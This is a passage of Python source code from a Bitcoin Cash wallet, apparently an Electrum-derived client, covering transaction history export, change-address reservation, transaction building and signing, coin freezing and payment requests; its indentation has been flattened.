add_to_self_txi(next_tx, addr, ser, v)
# don't keep empty entries in self.txo
if not d:
self.txo.pop(tx_hash, None)
# save
self.transactions[tx_hash] = tx
# Invoke the cashacct add hook (if defined) here at the end, with
# the lock held. We accept the cashacct.ScriptOutput only iff
# op_return_ct == 1 as per the Cash Accounts spec.
# See: https://gitlab.com/cash-accounts/lookup-server/blob/master/routes/parser.js#L253
if op_return_ct == 1 and deferred_cashacct_add:
deferred_cashacct_add()
# Unconditionally invoke the SLP handler. Note that it is a fast &
# cheap no-op if this tx's outputs[0] is not an SLP script.
self.slp.add_tx(tx_hash, tx)
def remove_transaction(self, tx_hash):
with self.lock:
self.print_error("removing tx from history", tx_hash)
# Note that we don't actually remove the tx_hash from
# self.transactions, but instead rely on the unreferenced tx being
# removed the next time the wallet is loaded in self.load_transactions()
for ser, hh in list(self.pruned_txo.items()):
if hh == tx_hash:
self.pruned_txo.pop(ser)
self.pruned_txo_values.discard(hh)
# add tx to pruned_txo, and undo the txi addition
for next_tx, dd in self.txi.items():
for addr, l in list(dd.items()):
ll = l[:]
for item in ll:
ser, v = item
prev_hash, prev_n = ser.split(':')
if prev_hash == tx_hash:
self._addr_bal_cache.pop(addr, None) # invalidate cache entry
l.remove(item)
self.pruned_txo[ser] = next_tx
self.pruned_txo_values.add(next_tx)
if l == []:
dd.pop(addr)
else:
dd[addr] = l
# invalidate addr_bal_cache for outputs involving this tx
d = self.txo.get(tx_hash, {})
for addr in d:
self._addr_bal_cache.pop(addr, None) # invalidate cache entry
try: self.txi.pop(tx_hash)
except KeyError: self.print_error("tx was not in input history", tx_hash)
try: self.txo.pop(tx_hash)
except KeyError: self.print_error("tx was not in output history", tx_hash)
# do this with the lock held
self.cashacct.remove_transaction_hook(tx_hash)
# inform slp subsystem as well
self.slp.rm_tx(tx_hash)
def receive_tx_callback(self, tx_hash, tx, tx_height):
self.add_transaction(tx_hash, tx)
self.add_unverified_tx(tx_hash, tx_height)
def receive_history_callback(self, addr, hist, tx_fees):
with self.lock:
old_hist = self.get_address_history(addr)
for tx_hash, height in old_hist:
if (tx_hash, height) not in hist:
s = self.tx_addr_hist.get(tx_hash)
if s:
s.discard(addr)
if not s:
# if no address references this tx anymore, kill it
# from txi/txo dicts.
if s is not None:
# We won't keep empty sets around.
self.tx_addr_hist.pop(tx_hash)
# note this call doesn't actually remove the tx from
# storage, it merely removes it from the self.txi
# and self.txo dicts
self.remove_transaction(tx_hash)
self._addr_bal_cache.pop(addr, None) # unconditionally invalidate cache entry
self._history[addr] = hist
for tx_hash, tx_height in hist:
# add it in case it was previously unconfirmed
self.add_unverified_tx(tx_hash, tx_height)
# add reference in tx_addr_hist
self.tx_addr_hist[tx_hash].add(addr)
# if addr is new, we have to recompute txi and txo
tx = self.transactions.get(tx_hash)
if tx is not None and self.txi.get(tx_hash, {}).get(addr) is None and self.txo.get(tx_hash, {}).get(addr) is None:
self.add_transaction(tx_hash, tx)
# Store fees
self.tx_fees.update(tx_fees)
if self.network:
self.network.trigger_callback('on_history', self)
def get_history(self, domain=None, *, reverse=False):
# get domain
if domain is None:
domain = self.get_addresses()
# 1. Get the history of each address in the domain, maintain the
# delta of a tx as the sum of its deltas on domain addresses
tx_deltas = defaultdict(int)
for addr in domain:
h = self.get_address_history(addr)
for tx_hash, height in h:
delta = self.get_tx_delta(tx_hash, addr)
if delta is None or tx_deltas[tx_hash] is None:
tx_deltas[tx_hash] = None
else:
tx_deltas[tx_hash] += delta
# 2. create sorted history
history = []
for tx_hash in tx_deltas:
delta = tx_deltas[tx_hash]
height, conf, timestamp = self.get_tx_height(tx_hash)
history.append((tx_hash, height, conf, timestamp, delta))
history.sort(key = lambda x: self.get_txpos(x[0]), reverse=True)
# 3. add balance
c, u, x = self.get_balance(domain)
balance = c + u + x
h2 = []
for tx_hash, height, conf, timestamp, delta in history:
h2.append((tx_hash, height, conf, timestamp, delta, balance))
if balance is None or delta is None:
balance = None
else:
balance -= delta
if not reverse:
h2.reverse()
return h2
def export_history(self, domain=None, from_timestamp=None, to_timestamp=None, fx=None,
show_addresses=False, decimal_point=8,
*, fee_calc_timeout=10.0, download_inputs=False,
progress_callback=None):
''' Export history. Used by RPC & GUI.
Arg notes:
- `fee_calc_timeout` is used when computing the fee (which is done
asynchronously in another thread) to limit the total amount of time in
seconds spent waiting for fee calculation. The timeout is a total time
allotment for this function call. (The reason the fee calc can take a
long time is for some pathological tx's, it is very slow to calculate
fee as it involves deserializing prevout_tx from the wallet, for each
input).
- `download_inputs`, if True, will allow for more accurate fee data to
be exported with the history by using the Transaction class input
fetcher to download *all* prevout_hash tx's for inputs (even for
inputs not in wallet). This feature requires self.network (ie, we need
to be online) otherwise it will behave as if download_inputs=False.
- `progress_callback`, if specified, is a callback which receives a
single float argument in the range [0.0,1.0] indicating how far along
the history export is going. This is intended for interop with GUI
code. Node the progress callback is not guaranteed to be called in the
context of the main thread, therefore GUI code should use appropriate
signals/slots to update the GUI with progress info.
Note on side effects: This function may update self.tx_fees. Rationale:
it will spend some time trying very hard to calculate accurate fees by
examining prevout_tx's (leveraging the fetch_input_data code in the
Transaction class). As such, it is worthwhile to cache the results in
self.tx_fees, which gets saved to wallet storage. This is not very
demanding on storage as even for very large wallets with huge histories,
tx_fees does not use more than a few hundred kb of space. '''
from .util import timestamp_to_datetime
# we save copies of tx's we deserialize to this temp dict because we do
# *not* want to deserialize tx's in wallet.transactoins since that
# wastes memory
local_tx_cache = {}
# some helpers for this function
t0 = time.time()
def time_remaining(): return max(fee_calc_timeout - (time.time()-t0), 0)
class MissingTx(RuntimeError):
''' Can happen in rare circumstances if wallet history is being
radically reorged by network thread while we are in this code. '''
def get_tx(tx_hash):
''' Try to get a tx from wallet, then from the Transaction class
cache if that fails. In either case it deserializes the copy and
puts the deserialized tx in local stack dict local_tx_cache. The
reason we don't deserialize the tx's from self.transactions is that
we do not want to keep deserialized tx's in memory. The
self.transactions dict should contain just raw tx's (not
deserialized). Deserialized tx's eat on the order of 10x the memory
because because of the Python lists, dict, etc they contain, per
instance. '''
tx = local_tx_cache.get(tx_hash)
if tx:
return tx
tx = Transaction.tx_cache_get(tx_hash)
if not tx:
tx = copy.deepcopy(self.transactions.get(tx_hash))
if tx:
tx.deserialize()
local_tx_cache[tx_hash] = tx
else:
raise MissingTx(f'txid {tx_hash} dropped out of wallet history while exporting')
return tx
def try_calc_fee(tx_hash):
''' Try to calc fee from cheapest to most expensive calculation.
Ultimately asks the transaction class to look at prevouts in wallet and uses
that scheme as a last (more CPU intensive) resort. '''
fee = self.tx_fees.get(tx_hash)
if fee is not None:
return fee
def do_get_fee(tx_hash):
tx = get_tx(tx_hash)
def try_get_fee(tx):
try: return tx.get_fee()
except InputValueMissing: pass
fee = try_get_fee(tx)
t_remain = time_remaining()
if fee is None and t_remain:
q = queue.Queue()
def done():
q.put(1)
tx.fetch_input_data(self, use_network=bool(download_inputs), done_callback=done)
try: q.get(timeout=t_remain)
except queue.Empty: pass
fee = try_get_fee(tx)
return fee
fee = do_get_fee(tx_hash)
if fee is not None:
self.tx_fees[tx_hash] = fee # save fee to wallet if we bothered to dl/calculate it.
return fee
def fmt_amt(v, is_diff):
if v is None:
return '--'
return format_satoshis(v, decimal_point=decimal_point,
is_diff=is_diff)
# grab history
h = self.get_history(domain, reverse=True)
out = []
n, l = 0, max(1, float(len(h)))
for tx_hash, height, conf, timestamp, value, balance in h:
if progress_callback:
progress_callback(n/l)
n += 1
timestamp_safe = timestamp
if timestamp is None:
timestamp_safe = time.time() # set it to "now" so below code doesn't explode.
if from_timestamp and timestamp_safe < from_timestamp:
continue
if to_timestamp and timestamp_safe >= to_timestamp:
continue
try:
fee = try_calc_fee(tx_hash)
except MissingTx as e:
self.print_error(str(e))
continue
item = {
'txid' : tx_hash,
'height' : height,
'confirmations' : conf,
'timestamp' : timestamp_safe,
'value' : fmt_amt(value, is_diff=True),
'fee' : fmt_amt(fee, is_diff=False),
'balance' : fmt_amt(balance, is_diff=False),
}
if item['height'] > 0:
date_str = format_time(timestamp) if timestamp is not None else _("unverified")
else:
date_str = _("unconfirmed")
item['date'] = date_str
try:
# Defensive programming.. sanitize label.
# The below ensures strings are utf8-encodable. We do this
# as a paranoia measure.
item['label'] = self.get_label(tx_hash).encode(encoding='utf-8', errors='replace').decode(encoding='utf-8', errors='replace')
except UnicodeError:
self.print_error(f"Warning: could not export label for {tx_hash}, defaulting to ???")
item['label'] = "???"
if show_addresses:
tx = get_tx(tx_hash)
input_addresses = []
output_addresses = []
for x in tx.inputs():
if x['type'] == 'coinbase': continue
addr = x.get('address')
if addr == None: continue
input_addresses.append(addr.to_ui_string())
for _type, addr, v in tx.outputs():
output_addresses.append(addr.to_ui_string())
item['input_addresses'] = input_addresses
item['output_addresses'] = output_addresses
if fx is not None:
date = timestamp_to_datetime(timestamp_safe)
item['fiat_value'] = fx.historical_value_str(value, date)
item['fiat_balance'] = fx.historical_value_str(balance, date)
item['fiat_fee'] = fx.historical_value_str(fee, date)
out.append(item)
if progress_callback:
progress_callback(1.0) # indicate done, just in case client code expects a 1.0 in order to detect completion
return out
def get_label(self, tx_hash):
label = self.labels.get(tx_hash, '')
if not label:
label = self.get_default_label(tx_hash)
return label
def get_default_label(self, tx_hash):
if not self.txi.get(tx_hash):
d = self.txo.get(tx_hash, {})
labels = []
for addr in list(d.keys()): # use a copy to avoid possibility of dict changing during iteration, see #1328
label = self.labels.get(addr.to_storage_string())
if label:
labels.append(label)
return ', '.join(labels)
return ''
def get_tx_status(self, tx_hash, height, conf, timestamp):
if conf == 0:
tx = self.transactions.get(tx_hash)
if not tx:
return 3, 'unknown'
fee = self.tx_fees.get(tx_hash)
# we disable fee estimates in BCH for now.
#if fee and self.network and self.network.config.has_fee_estimates():
# size = len(tx.raw)/2
# low_fee = int(self.network.config.dynfee(0)*size/1000)
# is_lowfee = fee < low_fee * 0.5
#else:
# is_lowfee = False
# and instead if it's less than 1.0 sats/B we flag it as low_fee
try:
# NB len(tx.raw) is 2x the byte size as it's hex encoded.
is_lowfee = int(fee) / (int(len(tx.raw)) / 2.0) < 1.0 # if less than 1.0 sats/B, complain. otherwise don't.
except (TypeError, ValueError): # If for some reason fee was None or invalid, just pass on through.
is_lowfee = False
# /
if height < 0:
status = 0
elif height == 0 and is_lowfee:
status = 1
elif height == 0:
status = 2
else:
status = 3
else:
status = 3 + min(conf, 6)
time_str = format_time(timestamp) if timestamp else _("unknown")
status_str = _(TX_STATUS[status]) if status < 4 else time_str
return status, status_str
def relayfee(self):
return relayfee(self.network)
def dust_threshold(self):
return dust_threshold(self.network)
def reserve_change_addresses(self, count, temporary=False):
""" Reserve and return `count` change addresses. In order
of preference, this will return from:
1. addresses 'freed' by `.unreserve_change_address`,
2. addresses in the last 20 (gap limit) of the change list,
3. newly-created addresses.
Of these, only unlabeled, unreserved addresses with no usage history
will be returned. If you pass temporary=False (default), this will
persist upon wallet saving, otherwise with temporary=True the address
will be made available again once the wallet is re-opened.
On non-deterministic wallets, this returns an empty list.
"""
if count <= 0 or not hasattr(self, 'create_new_address'):
return []
with self.lock:
last_change_addrs = self.get_change_addresses()[-self.gap_limit_for_change:]
if not last_change_addrs:
# this happens in non-deterministic wallets but the above
# hasattr check should have caught those.
return []
def gen_change():
try:
while True:
yield self.change_unreserved.pop(0)
except IndexError:
pass
for addr in last_change_addrs:
yield addr
while True:
yield self.create_new_address(for_change=True)
result = []
for addr in gen_change():
if ( addr in self.change_reserved
or addr in self.change_reserved_tmp
or self.get_num_tx(addr) != 0
or addr in result):
continue
addr_str = addr.to_storage_string()
if self.labels.get(addr_str):
continue
result.append(addr)
if temporary:
self.change_reserved_tmp.add(addr)
else:
self.change_reserved.add(addr)
if len(result) >= count:
return result
raise RuntimeError("Unable to generate new addresses") # should not happen
def unreserve_change_address(self, addr):
""" Unreserve an addr that was set by reserve_change_addresses, and
also explicitly reschedule this address to be usable by a future
reservation. Unreserving is appropriate when the address was never
actually shared or used in a transaction, and reduces empty gaps in
the change list.
"""
assert addr in self.get_change_addresses()
with self.lock:
self.change_reserved.discard(addr)
self.change_reserved_tmp.discard(addr)
self.change_unreserved.append(addr)
def get_default_change_addresses(self, count):
""" Return `count` change addresses from the default reserved list,
ignoring and removing used addresses. Reserves more as needed.
The same default change addresses keep getting repeated until they are
actually seen as used in a transaction from the network. Theoretically
this could hurt privacy if the user has multiple unsigned transactions
open at the same time, but practically this avoids address gaps for
normal usage. If you need non-repeated addresses, see
`reserve_change_addresses`.
On non-deterministic wallets, this returns an empty list.
"""
result = []
with self.lock:
for addr in list(self.change_reserved_default):
if len(result) >= count:
break
if self.get_num_tx(addr) != 0:
self.change_reserved_default.remove(addr)
continue
result.append(addr)
need_more = count - len(result)
if need_more > 0:
new_addrs = self.reserve_change_addresses(need_more)
self.change_reserved_default.extend(new_addrs)
result.extend(new_addrs)
return result
def make_unsigned_transaction(self, inputs, outputs, config, fixed_fee=None, change_addr=None, sign_schnorr=None):
''' sign_schnorr flag controls whether to mark the tx as signing with
schnorr or not. Specify either a bool, or set the flag to 'None' to use
whatever the wallet is configured to use from the GUI '''
sign_schnorr = self.is_schnorr_enabled() if sign_schnorr is None else bool(sign_schnorr)
# check outputs
i_max = None
for i, o in enumerate(outputs):
_type, data, value = o
if value == '!':
if i_max is not None:
raise BaseException("More than one output set to spend max")
i_max = i
# Avoid index-out-of-range with inputs[0] below
if not inputs:
raise NotEnoughFunds()
if fixed_fee is None and config.fee_per_kb() is None:
raise BaseException('Dynamic fee estimates not available')
for item in inputs:
self.add_input_info(item)
# Fee estimator
if fixed_fee is None:
fee_estimator = config.estimate_fee
else:
fee_estimator = lambda size: fixed_fee
if i_max is None:
# Let the coin chooser select the coins to spend
if change_addr:
change_addrs = [change_addr]
else:
if self.use_change:
change_addrs = self.get_default_change_addresses(
self.max_change_outputs if self.multiple_change else 1)
else:
change_addrs = []
if not change_addrs:
# For some reason we couldn't get any autogenerated
# change address (non-deterministic wallet?). So,
# try to find an input address that belongs to us.
for inp in inputs:
backup_addr = inp['address']
if self.is_mine(backup_addr):
change_addrs = [backup_addr]
break
else:
raise RuntimeError("Can't find a change address!")
assert all(isinstance(addr, Address) for addr in change_addrs)
coin_chooser = coinchooser.CoinChooserPrivacy()
tx = coin_chooser.make_tx(inputs, outputs, change_addrs,
fee_estimator, self.dust_threshold(), sign_schnorr=sign_schnorr)
else:
sendable = sum(map(lambda x:x['value'], inputs))
_type, data, value = outputs[i_max]
outputs[i_max] = (_type, data, 0)
tx = Transaction.from_io(inputs, outputs, sign_schnorr=sign_schnorr)
fee = fee_estimator(tx.estimated_size())
amount = max(0, sendable - tx.output_value() - fee)
outputs[i_max] = (_type, data, amount)
tx = Transaction.from_io(inputs, outputs, sign_schnorr=sign_schnorr)
# If user tries to send too big of a fee (more than 50 sat/byte), stop them from shooting themselves in the foot
tx_in_bytes=tx.estimated_size()
fee_in_satoshis=tx.get_fee()
sats_per_byte=fee_in_satoshis/tx_in_bytes
if (sats_per_byte > 50):
raise ExcessiveFee()
return
# Sort the inputs and outputs deterministically
tx.BIP_LI01_sort()
# Timelock tx to current height.
locktime = self.get_local_height()
if locktime == -1: # We have no local height data (no headers synced).
locktime = 0
tx.locktime = locktime
run_hook('make_unsigned_transaction', self, tx)
return tx
def mktx(self, outputs, password, config, fee=None, change_addr=None, domain=None, sign_schnorr=None):
coins = self.get_spendable_coins(domain, config)
tx = self.make_unsigned_transaction(coins, outputs, config, fee, change_addr, sign_schnorr=sign_schnorr)
self.sign_transaction(tx, password)
return tx
def is_frozen(self, addr):
''' Address-level frozen query. Note: this is set/unset independent of
'coin' level freezing. '''
assert isinstance(addr, Address)
return addr in self.frozen_addresses
def is_frozen_coin(self, utxo):
''' 'coin' level frozen query. `utxo' is a prevout:n string, or a dict
as returned from get_utxos(). Note: this is set/unset independent of
'address' level freezing. '''
assert isinstance(utxo, (str, dict))
if isinstance(utxo, dict):
name = ("{}:{}".format(utxo['prevout_hash'], utxo['prevout_n']))
ret = name in self.frozen_coins or name in self.frozen_coins_tmp
if ret != utxo['is_frozen_coin']:
self.print_error("*** WARNING: utxo has stale is_frozen_coin flag", name)
utxo['is_frozen_coin'] = ret # update stale flag
return ret
else:
return utxo in self.frozen_coins or utxo in self.frozen_coins_tmp
def set_frozen_state(self, addrs, freeze):
''' Set frozen state of the addresses to `freeze`, True or False. Note
that address-level freezing is set/unset independent of coin-level
freezing, however both must be satisfied for a coin to be defined as
spendable. '''
if all(self.is_mine(addr) for addr in addrs):
if freeze:
self.frozen_addresses |= set(addrs)
else:
self.frozen_addresses -= set(addrs)
frozen_addresses = [addr.to_storage_string()
for addr in self.frozen_addresses]
self.storage.put('frozen_addresses', frozen_addresses)
return True
return False
def set_frozen_coin_state(self, utxos, freeze, *, temporary = False):
'''Set frozen state of the `utxos` to `freeze`, True or False. `utxos`
is a (possibly mixed) list of either "prevout:n" strings and/or
coin-dicts as returned from get_utxos(). Note that if passing prevout:n
strings as input, 'is_mine()' status is not checked for the specified
coin. Also note that coin-level freezing is set/unset independent of
address-level freezing, however both must be satisfied for a coin to be
defined as spendable.
The `temporary` flag only applies if `freeze = True`. In that case,
freezing coins will only affect the in-memory-only frozen set, which
doesn't get saved to storage. This mechanism was added so that plugins
(such as CashFusion) have a mechanism for ephemeral coin freezing that
doesn't persist across sessions.
Note that setting `freeze = False` effectively unfreezes both the
temporary and the permanent frozen coin sets all in 1 call. Thus after a
call to `set_frozen_coin_state(utxos, False), both the temporary and the
persistent frozen sets are cleared of all coins in `utxos`. '''
add_set = self.frozen_coins if not temporary else self.frozen_coins_tmp
def add(utxo):
add_set.add( utxo )
def discard(utxo):
self.frozen_coins.discard( utxo )
self.frozen_coins_tmp.discard( utxo )
apply_operation = add if freeze else discard
original_size = len(self.frozen_coins)
with self.lock:
ok = 0
for utxo in utxos:
if isinstance(utxo, str):
apply_operation( utxo )
ok += 1
elif isinstance(utxo, dict) and self.is_mine(utxo['address']):
txo = "{}:{}".format(utxo['prevout_hash'], utxo['prevout_n'])
apply_operation( txo )
utxo['is_frozen_coin'] = bool(freeze)
ok += 1
if original_size != len(self.frozen_coins):
# Performance optimization: only set storage if the perma-set
# changed.
self.storage.put('frozen_coins', list(self.frozen_coins))
return ok
def prepare_for_verifier(self):
# review transactions that are in the history
for addr, hist in self._history.items():
for tx_hash, tx_height in hist:
# add it in case it was previously unconfirmed
self.add_unverified_tx(tx_hash, tx_height)
# if we are on a pruning server, remove unverified transactions
with self.lock:
vr = list(self.verified_tx.keys()) + list(self.unverified_tx.keys())
for tx_hash in list(self.transactions):
if tx_hash not in vr:
self.print_error("removing transaction", tx_hash)
self.transactions.pop(tx_hash)
def start_threads(self, network):
self.network = network
if self.network:
self.start_pruned_txo_cleaner_thread()
self.prepare_for_verifier()
self.verifier = SPV(self.network, self)
self.synchronizer = Synchronizer(self, network)
finalization_print_error(self.verifier)
finalization_print_error(self.synchronizer)
network.add_jobs([self.verifier, self.synchronizer])
self.cashacct.start(self.network) # start cashacct network-dependent subsystem, nework.add_jobs, etc
else:
self.verifier = None
self.synchronizer = None
def stop_threads(self):
if self.network:
# Note: syncrhonizer and verifier will remove themselves from the
# network thread the next time they run, as a result of the below
# release() calls.
# It is done this way (as opposed to an immediate clean-up here)
# because these objects need to do thier clean-up actions in a
# thread-safe fashion from within the thread where they normally
# operate on their data structures.
self.cashacct.stop()
self.synchronizer.release()
self.verifier.release()
self.synchronizer = None
self.verifier = None
self.stop_pruned_txo_cleaner_thread()
# Now no references to the syncronizer or verifier
# remain so they will be GC-ed
self.storage.put('stored_height', self.get_local_height())
self.save_transactions()
self.save_verified_tx() # implicit cashacct.save
self.storage.put('frozen_coins', list(self.frozen_coins))
self.save_change_reservations()
self.storage.write()
def start_pruned_txo_cleaner_thread(self):
self.pruned_txo_cleaner_thread = threading.Thread(target=self._clean_pruned_txo_thread, daemon=True, name='clean_pruned_txo_thread')
self.pruned_txo_cleaner_thread.q = queue.Queue()
self.pruned_txo_cleaner_thread.start()
def stop_pruned_txo_cleaner_thread(self):
t = self.pruned_txo_cleaner_thread
self.pruned_txo_cleaner_thread = None # this also signals a stop
if t and t.is_alive():
t.q.put(None) # signal stop
# if the join times out, it's ok. it means the thread was stuck in
# a network call and it will eventually exit.
t.join(timeout=3.0)
def wait_until_synchronized(self, callback=None):
def wait_for_wallet():
self.set_up_to_date(False)
while not self.is_up_to_date():
if callback:
msg = "%s\n%s %d"%(
_("Please wait..."),
_("Addresses generated:"),
len(self.addresses(True)))
callback(msg)
time.sleep(0.1)
def wait_for_network():
while not self.network.is_connected():
if callback:
msg = "%s \n" % (_("Connecting..."))
callback(msg)
time.sleep(0.1)
# wait until we are connected, because the user
# might have selected another server
if self.network:
wait_for_network()
wait_for_wallet()
else:
self.synchronize()
def can_export(self):
return not self.is_watching_only() and hasattr(self.keystore, 'get_private_key')
def is_used(self, address):
return self.get_address_history(address) and self.is_empty(address)
def is_empty(self, address):
assert isinstance(address, Address)
return not any(self.get_addr_balance(address))
def address_is_old(self, address, age_limit=2):
age = -1
local_height = self.get_local_height()
for tx_hash, tx_height in self.get_address_history(address):
if tx_height == 0:
tx_age = 0
else:
tx_age = local_height - tx_height + 1
if tx_age > age:
age = tx_age
if age > age_limit:
break # ok, it's old. not need to keep looping
return age > age_limit
def cpfp(self, tx, fee, sign_schnorr=None):
''' sign_schnorr is a bool or None for auto '''
sign_schnorr = self.is_schnorr_enabled() if sign_schnorr is None else bool(sign_schnorr)
txid = tx.txid()
for i, o in enumerate(tx.outputs()):
otype, address, value = o
if otype == TYPE_ADDRESS and self.is_mine(address):
break
else:
return
coins = self.get_addr_utxo(address)
item = coins.get(txid+':%d'%i)
if not item:
return
self.add_input_info(item)
inputs = [item]
outputs = [(TYPE_ADDRESS, address, value - fee)]
locktime = self.get_local_height()
# note: no need to call tx.BIP_LI01_sort() here - single input/output
return Transaction.from_io(inputs, outputs, locktime=locktime, sign_schnorr=sign_schnorr)
def add_input_info(self, txin):
address = txin['address']
if self.is_mine(address):
txin['type'] = self.get_txin_type(address)
# Bitcoin Cash needs value to sign
received, spent = self.get_addr_io(address)
item = received.get(txin['prevout_hash']+':%d'%txin['prevout_n'])
tx_height, value, is_cb = item
txin['value'] = value
self.add_input_sig_info(txin, address)
def can_sign(self, tx):
if tx.is_complete():
return False
for k in self.get_keystores():
# setup "wallet advice" so Xpub wallets know how to sign 'fd' type tx inputs
# by giving them the sequence number ahead of time
if isinstance(k, BIP32_KeyStore):
for txin in tx.inputs():
for x_pubkey in txin['x_pubkeys']:
_, addr = xpubkey_to_address(x_pubkey)
try:
c, index = self.get_address_index(addr)
except:
continue
if index is not None:
k.set_wallet_advice(addr, [c,index])
if k.can_sign(tx):
return True
return False
def get_input_tx(self, tx_hash):
# First look up an input transaction in the wallet where it
# will likely be. If co-signing a transaction it may not have
# all the input txs, in which case we ask the network.
tx = self.transactions.get(tx_hash)
if not tx and self.network:
request = ('blockchain.transaction.get', [tx_hash])
tx = Transaction(self.network.synchronous_get(request))
return tx
def add_input_values_to_tx(self, tx):
""" add input values to the tx, for signing"""
for txin in tx.inputs():
if 'value' not in txin:
inputtx = self.get_input_tx(txin['prevout_hash'])
if inputtx is not None:
out_zero, out_addr, out_val = inputtx.outputs()[txin['prevout_n']]
txin['value'] = out_val
txin['prev_tx'] = inputtx # may be needed by hardware wallets
def add_hw_info(self, tx):
# add previous tx for hw wallets, if needed and not already there
if any([(isinstance(k, Hardware_KeyStore) and k.can_sign(tx) and k.needs_prevtx()) for k in self.get_keystores()]):
for txin in tx.inputs():
if 'prev_tx' not in txin:
txin['prev_tx'] = self.get_input_tx(txin['prevout_hash'])
# add output info for hw wallets
info = {}
xpubs = self.get_master_public_keys()
for txout in tx.outputs():
_type, addr, amount = txout
if self.is_change(addr):
index = self.get_address_index(addr)
pubkeys = self.get_public_keys(addr)
# sort xpubs using the order of pubkeys
sorted_pubkeys, sorted_xpubs = zip(*sorted(zip(pubkeys, xpubs)))
info[addr] = index, sorted_xpubs, self.m if isinstance(self, Multisig_Wallet) else None, self.txin_type
tx.output_info = info
def sign_transaction(self, tx, password):
if self.is_watching_only():
return
# add input values for signing
self.add_input_values_to_tx(tx)
# hardware wallets require extra info
if any([(isinstance(k, Hardware_KeyStore) and k.can_sign(tx)) for k in self.get_keystores()]):
self.add_hw_info(tx)
# sign
for k in self.get_keystores():
try:
if k.can_sign(tx):
k.sign_transaction(tx, password)
except UserCancelled:
continue
def get_unused_addresses(self, *, for_change=False, frozen_ok=True):
# fixme: use slots from expired requests
with self.lock:
domain = self.get_receiving_addresses() if not for_change else (self.get_change_addresses() or self.get_receiving_addresses())
return [addr for addr in domain
if not self.get_address_history(addr)
and addr not in self.receive_requests
and (frozen_ok or addr not in self.frozen_addresses)]
def get_unused_address(self, *, for_change=False, frozen_ok=True):
addrs = self.get_unused_addresses(for_change=for_change, frozen_ok=frozen_ok)
if addrs:
return addrs[0]
def get_receiving_address(self, *, frozen_ok=True):
'''Returns a receiving address or None.'''
domain = self.get_unused_addresses(frozen_ok=frozen_ok)
if not domain:
domain = [a for a in self.get_receiving_addresses()
if frozen_ok or a not in self.frozen_addresses]
if domain:
return domain[0]
def get_payment_status(self, address, amount):
local_height = self.get_local_height()
received, sent = self.get_addr_io(address)
l = []
for txo, x in received.items():
h, v, is_cb = x
txid, n = txo.split(':')
info = self.verified_tx.get(txid)
if info:
tx_height, timestamp, pos = info
conf = local_height - tx_height
else:
conf = 0
l.append((conf, v))
vsum = 0
for conf, v in reversed(sorted(l)):
vsum += v
if vsum >= amount:
return True, conf
return False, None
def has_payment_request(self, addr):
''' Returns True iff Address addr has any extant payment requests
(even if expired), False otherwise. '''
assert isinstance(addr, Address)
return bool(self.receive_requests.get(addr))
def get_payment_request(self, addr, config):
assert isinstance(addr, Address)
r = self.receive_requests.get(addr)
if not r:
return
out = copy.copy(r)
addr_text = addr.to_ui_string()
amount_text = format_satoshis(r['amount'])
out['URI'] = '{}:{}?amount={}'.format(networks.net.CASHADDR_PREFIX,
addr_text, amount_text)
status, conf = self.get_request_status(addr)
out['status'] = status
if conf is not None:
out['confirmations'] = conf
# check if bip70 file exists
rdir = config.get('requests_dir')
if rdir:
key = out.get('id', addr.to_storage_string())
path = os.path.join(rdir, 'req', key[0], key[1], key)
if os.path.exists(path):
baseurl = 'file://' + rdir
rewrite = config.get('url_rewrite')
if rewrite:
baseurl = baseurl.replace(*rewrite)
out['request_url'] = os.path.join(baseurl, 'req', key[0], key[1], key, key)
out['URI'] += '&r=' + out['request_url']
if not 'index_url' in out:
out['index_url'] = os.path.join(baseurl, 'index.html') + '?id=' + key
websocket_server_announce = config.get('websocket_server_announce')
if websocket_server_announce:
out['websocket_server'] = websocket_server_announce
else:
out['websocket_server'] = config.get('websocket_server', 'localhost')
websocket_port_announce = config.get('websocket_port_announce')
if websocket_port_announce:
out['websocket_port'] = websocket_port_announce
else:
out['websocket_port'] = config.get('websocket_port', 9999)
return out
def get_request_status(self, key):
r = self.receive_requests.get(key)
if r is None:
return PR_UNKNOWN
address = r['address']
amount = r.get('amount')
timestamp = r.get('time', 0)
if timestamp and type(timestamp) != int:
timestamp = 0
expiration = r.get('exp')
if expiration and type(expiration) != int:
expiration = 0
conf = None
if amount:
if self.up_to_date:
paid, conf = self.get_payment_status(address, amount)
status = PR_PAID if paid else PR_UNPAID
if status == PR_UNPAID and expiration is not None and time.time() > timestamp + expiration:
status = PR_EXPIRED
else:
status = PR_UNKNOWN
else:
status = PR_UNKNOWN
return status, conf
def make_payment_request(self, addr, amount, message, expiration=None, *,
op_return=None, op_return_raw=None, payment_url=None, index_url=None):
assert isinstance(addr, Address)
if op_return and op_return_raw:
raise ValueError("both op_return and op_return_raw cannot be specified as arguments to make_payment_request")
timestamp = int(time.time())
_id = bh2u(Hash(addr.to_storage_string() + "%d" % timestamp))[0:10]
d = {
'time': timestamp,
'amount': amount,
'exp': expiration,
'address': addr,
'memo': message,
'id': _id
}
if payment_url:
d['payment_url'] = payment_url + "/" + _id
if index_url:
d['index_url'] = index_url + "/" + _id
if op_return:
d['op_return'] = op_return
if op_return_raw:
d['op_return_raw'] = op_return_raw
return d
def serialize_request(self, r):
result = r.copy()
result['address'] = r['address'].to_storage_string()
return result
def save_payment_requests(self):
def delete_address(value):
del value['address']
return value
requests = {addr.to_storage_string() : delete_address(value.copy())
for addr, value in self.receive_requests.items()}
self.storage.put('payment_requests', requests)
self.storage.write()
def sign_payment_request(self, key, alias, alias_addr, password):
req = self.receive_requests.get(key)
alias_privkey = self.export_private_key(alias_addr, password)
pr = paymentrequest.make_unsigned_request(req)
paymentrequest.sign_request_with_alias(pr, alias, alias_privkey)
req['name'] = pr.pki_data
req['sig'] = bh2u(pr.signature)
self.receive_requests[key] = req
self.save_payment_requests()
def add_payment_request(self, req, config, set_address_label=True):
addr = req['address']
addr_text = addr.to_storage_string()
amount = req['amount']
message = req['memo']
self.receive_requests[addr] = req
self.save_payment_requests()
if set_address_label:
self.set_label(addr_text, message) # should be a default label
rdir = config.get('requests_dir')
if rdir and amount is not None:
key = req.get('id', addr_text)
pr = paymentrequest.make_request(config, req)
path = os.path.join(rdir, 'req', key[0], key[1], key)
if not os.path.exists(path):
try:
os.makedirs(path)
except OSError as exc:
if exc.errno != errno.EEXIST:
raise
with open(os.path.join(path, key), 'wb') as f:
f.write(pr.SerializeToString())
# reload
req = self.get_payment_request(addr, config)
req['address'] = req['address'].to_ui_string()
with open(os.path.join(path, key + '.json'), 'w', encoding='utf-8') as f:
f.write(json.dumps(req))
def remove_payment_request(self, addr, config, clear_address_label_if_no_tx=True):
if isinstance(addr, str):
addr = Address.from_string(addr)
if addr not in self.receive_requests:
